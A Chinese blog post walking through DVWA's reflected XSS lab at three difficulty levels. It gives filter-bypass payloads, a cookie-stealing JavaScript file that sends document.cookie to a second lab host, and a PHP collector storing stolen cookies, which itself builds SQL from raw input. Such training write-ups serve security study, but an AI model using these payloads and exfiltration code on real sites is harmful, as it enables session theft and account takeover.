C1imber's Blog

dvwa XSS(Reflected)

字数统计: 1.6k阅读时长: 7 min
2017/11/28 Share

dvwa 反射型xss

这篇文章整理了研究dvwa中的反射型xss,包括如何验证存在反射型xss,以及利用反射型xss获取cookie

测试环境

一台win2003虚拟机,ip为192.168.50.128,用wamp集成环境将dvwa搭在8080端口
一台win7虚拟机,ip为192.168.50.150,用来接受漏洞网站的cookie,web由phpstudy搭建

low级别

为了便于理解,代码如下

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

可以看出没有任何过滤,直接将用户提交的GET参数name输出到页面,我们可以输入payload

<script>alert("xss")</script>

来验证xss的存在
mark
接下来是利用xss获取用户cookie,由于script标签可以加载远程服务器的javascript代码并且执行,所以我们在win7的服务器下编写cookie.js

document.write("<form action='http://192.168.50.150/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php将我们获取到的cookie存到数据库中

create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下来我们在有xss漏洞的位置插入

<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

相当于构造链接

http://192.168.50.128:8080/DVWA-master/vulnerabilities/xss_r/?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本
这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据

这时,win7的数据库就接收到了cookie
mark

medium级别

代码如下

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可看出代码将我们输入内容中的<script>标签替换为了空
但是str_replace这个函数是不区分大小写的,而且只替换一次
所以我们构造payload

<scr<script>ipt>alert("xss")</script>
<SCRIPT>alert("xss")</SCRIPT>

均可以弹框,同样的,插入

<scr<script>ipt src=http://192.168.50.150/dvwaxss/cookie.js></script>
<SCRIPT src=http://192.168.50.150/dvwaxss/cookie.js></SCRIPT>

加载远程脚本
steal.php

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into medium(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into medium(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from medium";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

将获取的cookie加入medium表,结果如下
mark

high 级别

代码如下

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉
只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码,构造payload

<img src=# onerror=alert("xss")>

通过加载一个不存在的图片出错出发javascript onerror事件,继续弹框,证明出来有xss,这样的payload还有很多
mark
在xss的位置插入

<img src=# onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

通过触发onerror事件跳转链接到远程服务器的steal.php,同时以GET带上当前的cookie
但是输入被过滤了
mark
只剩下Hello .cookie)>
what!?不应该啊,在这被坑了好久,终于发现问题所在

<img SrC=# oneRror=(locatIon.href="httP://192.168.50.150/dvwaxss/steal.php?data="+documenT.cookie)>

注意观察我们所插入的代码,我表明的大写部分,竟然构成了一个script,所以符合代码的正则,从而过滤掉了,这实在是坑啊。。。
那我们将插入代码中的i进行html编码

<img src=# onerror=(locat&#x69;on.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

我们提交这段代码后绕过了过滤,然后浏览器进行了html解码,然后就是之前一样的过程,触发onerror事件,对远程服务器的steal.php发送我们的cookie

steal.php

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into high(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into high(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
mysql_close();
}
else
{
    $sql="select * from high";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

远程服务器接收到了cookie的信息
mark

CATALOG
  1. 1. dvwa 反射型xss
    1. 1.0.1. 测试环境
    2. 1.0.2. low级别
    3. 1.0.3. medium级别
    4. 1.0.4. high 级别